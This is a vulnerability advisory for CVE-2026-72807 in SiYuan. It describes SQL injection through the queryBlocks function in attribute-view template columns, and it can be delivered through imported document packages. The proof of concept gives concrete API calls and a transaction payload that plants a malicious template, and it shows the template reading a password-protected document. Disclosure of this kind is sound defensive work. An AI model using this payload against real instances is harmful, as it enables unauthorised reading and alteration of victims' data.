CVE-2026-72807

CVE: This vulnerability corresponds to CVE-2026-72807.

Summary

Attribute-view (AV) template columns are live-evaluated on every render and expose the queryBlocks template function, which runs raw SQL on the read-write database handle (SelectBlocksRawStmt, using ?→argument string substitution rather than parameter binding). AV mutations are admin-gated, so this is not directly reader-injectable but it is a second-order vector: an attacker distributes a SiYuan document or AV package whose template column contains .action{queryBlocks "<arbitrary SQL>"} when a victim imports the package and renders the AV, the attacker's SQL executes on the victim's kernel (read and, via statement stacking, write).

Details

Doc-level {{…}} templates are rendered at insert-time and become static, so they are not re-evaluated on reader view. The residual is AV template columns, which are live-evaluated at render. queryBlocks passes its argument to SelectBlocksRawStmt with ?→arg string substitution, not a bound parameter, on the main read-write handle (88250/go-sqlite3 fork, statement-stacking capable) so an attacker-controlled template argument becomes arbitrary SQL.

The SSTI surface is otherwise hardened: BuiltInTemplateFuncs deletes env, expandenv, and getHostByName so there is no environment/host/file/exec SSTI. queryBlocks-to-SQL is the remaining live-evaluated sink.

Proof of Concept

An AV template column set to .action{queryBlocks "<sql>"} executes <sql> against the read-write handle when the AV is rendered. Delivered second-order: a shared/imported document or AV package carrying such a column runs the embedded SQL on any kernel that imports and renders it.

Proof of Concept

Reproduced on a live instance.

1. Host doc + AV (admin, 6806):

POST /api/filetree/createDocWithMd {notebook, path:"/ssti-poc", markdown:"host"}  → DOC
POST /api/av/renderAttributeView   {id:"<AV>"}   # materializes the AV

2. Plant the malicious template column (one performTransactions call):

{"reqId":1,"session":"poc","transactions":[{"doOperations":[
  {"action":"addAttrViewCol","avID":"<AV>","id":"<COL>","name":"tpl","type":"template"},
  {"action":"updateAttrViewColTemplate","avID":"<AV>","id":"<COL>","type":"template",
   "data":".action{range queryBlocks \"SELECT * FROM blocks WHERE root_id='<PROTECTED_DOC_ID>'\"}.action{.Markdown} .action{end}"},
  {"action":"insertAttrViewBlock","avID":"<AV>","isDetached":true}
]}]}

3. Trigger (render evaluates the template):

POST /api/av/renderAttributeView {id:"<AV>"}

Result: the template cell renders ## LockedSection TOP_SECRET… the queryBlocks SQL executed and returned the password-protected document's content, arbitrary SQL via template reading across the publish/password boundary. queryBlocks uses ?→arg string substitution (not parameterized), so UNION and stacked writes are also possible. Delivered second-order, the same column executes on any kernel that imports and renders the AV.

Impact

An attacker who gets a victim to import a crafted document/AV package and render it achieves arbitrary SQL execution on the victim's kernel cross-notebook read and via stacking, write. Precondition is content delivery plus render (import of an attacker-supplied package), which bounds severity to Medium. Not directly reachable by an anonymous reader (AV creation is admin-gated); the injection travels in stored/imported template content.

Suggested fix

Parameterize queryBlocks bind the argument rather than substituting it into the SQL string or restrict the template function set available in AV columns as was done for the doc-template functions. Treat imported template content as untrusted at render time.